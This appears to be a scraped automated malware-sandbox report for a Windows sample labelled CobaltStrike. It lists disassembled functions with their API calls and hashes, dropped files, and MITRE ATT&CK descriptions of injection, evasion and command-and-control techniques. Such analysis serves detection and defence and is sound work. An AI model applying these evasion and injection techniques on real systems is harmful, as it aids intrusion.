GetLastError.KERNEL32 ref: 010A7871
CloseHandle.KERNEL32(00000000), ref: 010A7884

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Process$CloseErrorHandleLastOpenTerminate
String ID:
API String ID: 4043475357-0
Opcode ID: cee085d8486a6c02666ad1f3748f92126e0b3c95954e61feeca8e7537ec951f7
Instruction ID: a38bf795dc98ab4ef0b542d56b87339a9ce422146b6bef469cef381c59220471
Opcode Fuzzy Hash: cee085d8486a6c02666ad1f3748f92126e0b3c95954e61feeca8e7537ec951f7
Instruction Fuzzy Hash: 0BF0D1319002197FEB3027E4DC09FAF7BBCEF84701F440420FA44E5186E67696048AA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A0794 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_vwprintf.LIBCMT ref: 010A07A0

Part of subcall function 010B459D: __vscwprintf_helper.LIBCMT ref: 010B45AF

_malloc.LIBCMT ref: 010A07B3

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

_vswprintf_s.LIBCMT ref: 010A07C7

Part of subcall function 010B4529: __vsprintf_s_l.LIBCMT ref: 010B453C

_memset.LIBCMT ref: 010A07DA

Part of subcall function 010B40EA: __lock.LIBCMT ref: 010B4108
Part of subcall function 010B40EA: ___sbh_find_block.LIBCMT ref: 010B4113
Part of subcall function 010B40EA: ___sbh_free_block.LIBCMT ref: 010B4122
Part of subcall function 010B40EA: RtlFreeHeap.NTDLL(00000000,?,010CE5C8,0000000C,010B5FC4,00000000,010CE728,0000000C,010B5FFE,?,?,?,010BF821,00000004,010CEA88,0000000C), ref: 010B4152
Part of subcall function 010B40EA: GetLastError.KERNEL32(?,010BF821,00000004,010CEA88,0000000C,010BC1F3,?,?,00000000,00000000,00000000,?,010B8FE7,00000001,00000214), ref: 010B4163

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Heap$AllocateErrorFreeLast___sbh_find_block___sbh_free_block__lock__vscwprintf_helper__vsprintf_s_l_malloc_memset_vswprintf_s_vwprintf
String ID:
API String ID: 3037472818-0
Opcode ID: f7e2412f7dbd35279243585d6c60cc40c416b24f5ac9c9daf2d0e5d626429575
Instruction ID: c020455a735892e14c0baa671e4a32395f445ce68a3bee789ad99ca3d79bfcff
Opcode Fuzzy Hash: f7e2412f7dbd35279243585d6c60cc40c416b24f5ac9c9daf2d0e5d626429575
Instruction Fuzzy Hash: 29F0B47740011E7ED7216E64DCC0FFF3B6CEFA5260F100919F956D5001DA319A1097B1

Uniqueness

Uniqueness Score: -1.00%

Function 010A0795 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_vwprintf.LIBCMT ref: 010A07A0

Part of subcall function 010B459D: __vscwprintf_helper.LIBCMT ref: 010B45AF

_malloc.LIBCMT ref: 010A07B3

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

_vswprintf_s.LIBCMT ref: 010A07C7

Part of subcall function 010B4529: __vsprintf_s_l.LIBCMT ref: 010B453C

_memset.LIBCMT ref: 010A07DA

Part of subcall function 010B40EA: __lock.LIBCMT ref: 010B4108
Part of subcall function 010B40EA: ___sbh_find_block.LIBCMT ref: 010B4113
Part of subcall function 010B40EA: ___sbh_free_block.LIBCMT ref: 010B4122
Part of subcall function 010B40EA: RtlFreeHeap.NTDLL(00000000,?,010CE5C8,0000000C,010B5FC4,00000000,010CE728,0000000C,010B5FFE,?,?,?,010BF821,00000004,010CEA88,0000000C), ref: 010B4152
Part of subcall function 010B40EA: GetLastError.KERNEL32(?,010BF821,00000004,010CEA88,0000000C,010BC1F3,?,?,00000000,00000000,00000000,?,010B8FE7,00000001,00000214), ref: 010B4163

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Heap$AllocateErrorFreeLast___sbh_find_block___sbh_free_block__lock__vscwprintf_helper__vsprintf_s_l_malloc_memset_vswprintf_s_vwprintf
String ID:
API String ID: 3037472818-0
Opcode ID: a6fbd9ad0fe389ede26922c9a9fac06eeaeeb3d4535e92e194c2919c3a71623a
Instruction ID: 8ce00ba1c6757ea84aacf7b264b2ab7a65a2b8c7ee2e3cd6953515f0ab17860c
Opcode Fuzzy Hash: a6fbd9ad0fe389ede26922c9a9fac06eeaeeb3d4535e92e194c2919c3a71623a
Instruction Fuzzy Hash: D0F0BE7B40021E7AD7116EA4DCC0FFF3BACEFA66A0F100919F99995001EA31AA1097B1

Uniqueness

Uniqueness Score: -1.00%

Function 010AA84A Relevance: 6.0, APIs: 4, Instructions: 40networkCOMMON

Download Yara Rule

APIs

accept.WS2_32(?,00000000,00000000), ref: 010AA858
send.WS2_32(00000000,?,?,00000000), ref: 010AA885
send.WS2_32(00000000,?,?,00000000), ref: 010AA893
closesocket.WS2_32(00000000), ref: 010AA89E

Part of subcall function 010AA7DA: closesocket.WS2_32(?), ref: 010AA7DC

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: closesocketsend$accept
String ID:
API String ID: 2168303407-0
Opcode ID: 500c1a7c6a84b2d486a9e62fe7fa300e3885a5f233e90c7c78f5ebed3a714425
Instruction ID: 7e2ac0863d0f8ebcba3499bd419abdac2eec08e3bfd70f5942386bb45dd01687
Opcode Fuzzy Hash: 500c1a7c6a84b2d486a9e62fe7fa300e3885a5f233e90c7c78f5ebed3a714425
Instruction Fuzzy Hash: 14F03076200705FADA313BF4EC80F8FB7ADEF14B20F500A1AF6D6678D1C666A4419B51

Uniqueness

Uniqueness Score: -1.00%

Function 010BD94D Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 010BD959

Part of subcall function 010B9035: __getptd_noexit.LIBCMT ref: 010B9038
Part of subcall function 010B9035: __amsg_exit.LIBCMT ref: 010B9045

__getptd.LIBCMT ref: 010BD970
__amsg_exit.LIBCMT ref: 010BD97E
__lock.LIBCMT ref: 010BD98E

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 64825caad2a23f2b8683c85c37a4d723dcc8c6003810c899108101b4d9bfe4e0
Instruction ID: 01dfc38792bc5df97e9185e7a90d4c030a9b504a8f5b22bdd35d1699604b1bad
Opcode Fuzzy Hash: 64825caad2a23f2b8683c85c37a4d723dcc8c6003810c899108101b4d9bfe4e0
Instruction Fuzzy Hash: 39F090319107028BE760BBF89481BCDF6E1AF10B58F00424AD5D9972D0CF3559018B51

Uniqueness

Uniqueness Score: -1.00%

Function 010A4696 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00000000,010A4677,?,00000000,00000000,?,?,010A4677,00000000,00000000,010A4105,00000000,00000000), ref: 010A46C9
GetLastError.KERNEL32(?,?,010A4677,00000000,00000000,010A4105,00000000,00000000), ref: 010A46D3

Strings

`get0Let, xrefs: 010A46C9

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLastProtectVirtual
String ID: `get0Let
API String ID: 1672467334-1778021277
Opcode ID: 264a44455b305a58a380e553754179be8e0e9c3447c022da8b396d64b795ca96
Instruction ID: 44982868fbf567a10108418163de5164b5a430dc19c805fd0178be19435d6b8e
Opcode Fuzzy Hash: 264a44455b305a58a380e553754179be8e0e9c3447c022da8b396d64b795ca96
Instruction Fuzzy Hash: D5F0A07E305209BEFA207BF1AC06EFF379CDF48A55FD84021FA81DD080E5A2C8419A61

Uniqueness

Uniqueness Score: -1.00%

Function 010A98FD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 010A9908
GetCurrentProcess.KERNEL32(010A9978), ref: 010A9922

Part of subcall function 010A9865: _memset.LIBCMT ref: 010A987F
Part of subcall function 010A9865: __snprintf.LIBCMT ref: 010A98DE

Strings

system32, xrefs: 010A994D

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _memset$CurrentProcess__snprintf
String ID: system32
API String ID: 3270679572-3483537008
Opcode ID: 90d7f32a5f4c49869756208172e3569d7e0be268d21e7ab69ce89f0cfa69d8e1
Instruction ID: a223955dc22096f281278fce06dd80754d2fbdd894f08665f7789c3e7ea226a4
Opcode Fuzzy Hash: 90d7f32a5f4c49869756208172e3569d7e0be268d21e7ab69ce89f0cfa69d8e1
Instruction Fuzzy Hash: F2F02731644302BFF6196B95FC06BE9379CDF21718F904069FD8C4A3C1FABA6140CA99

Uniqueness

Uniqueness Score: -1.00%

Function 010C4789 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

_RTC_Failure.LIBCMT ref: 010C479C

Strings

abcdefghijklmnop, xrefs: 010C4795
abcdefghijklmnop, xrefs: 010C4796

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Failure
String ID: abcdefghijklmnop$abcdefghijklmnop
API String ID: 3995482717-935656707
Opcode ID: 4d1227ede6a145633f070787483e74cd4d58cfad1496ae03b9bb51402f780a7b
Instruction ID: ce7743f6d1b5189f4fd31833f8d643b0e6e5f82181e61ddd7b4a842dee0d0041
Opcode Fuzzy Hash: 4d1227ede6a145633f070787483e74cd4d58cfad1496ae03b9bb51402f780a7b
Instruction Fuzzy Hash: E0D0A93720C2083DF920A18E7D06FBB7B9CE3C1A71F6042ABF908C108068022C1804B9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8082-svc-x86.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

C:\servicereg.log

C:\servicestart.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
8082-svc-x86.exe

Function 00401180 Relevance: 19.7, APIs: 13, Instructions: 199
sleeplibrarystringCOMMON

Function 004015E3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
memoryinjectionCOMMON

Function 004017FC Relevance: 6.1, APIs: 4, Instructions: 57
pipeCOMMON

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre